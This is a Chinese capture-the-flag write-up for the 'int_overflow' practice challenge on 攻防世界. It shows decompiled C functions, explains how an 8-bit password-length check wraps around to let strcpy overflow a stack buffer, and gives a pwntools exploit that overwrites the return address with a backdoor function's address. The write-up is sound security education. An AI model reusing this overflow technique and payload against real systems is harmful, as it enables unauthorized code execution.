『攻防世界』:新手区 | int_overflow

checksec:如题,需要用栈溢出控制程序执行流获得flag

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA: 程序中有一个后门函数(what_is_this),我们需要做的是找到溢出点把地址填进去就可以。

主函数没有发现可以溢出的地方,输入1进入login函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

2 login函数也没有发现溢出,但是将密码传进了一个check函数当中。

char *login()
{
  char passw; // [esp+0h] [ebp-228h]
  char name; // [esp+200h] [ebp-28h]

  memset(&name, 0, 0x20u);
  memset(&passw, 0, 0x200u);
  puts("Please input your username:");
  read(0, &name, 0x19u);
  printf("Hello %s
", &name);
  puts("Please input your passwd:");
  read(0, &passw, 0x199u);
  return check_passwd(&passw);
}

3 这个函数,password必须是3到8位,v3范围是0~255,超出会造成整数溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;
s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可得到flag;//这里关于数据在空间的状态一直有点迷糊,所以看了大佬的wp

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

exp:

from pwn import *

io = remote('ip',port)
io.sendlineafter('choice:','1')
io.sendlineafter('username:','beef')
payload = b'a'*24 + p32(0x804868b) 
payload = payload.ljust(259,"A")
io.sendlineafter('passwd:',payload)
io.interactive()
原文地址:https://www.cnblogs.com/Zowie/p/13415976.html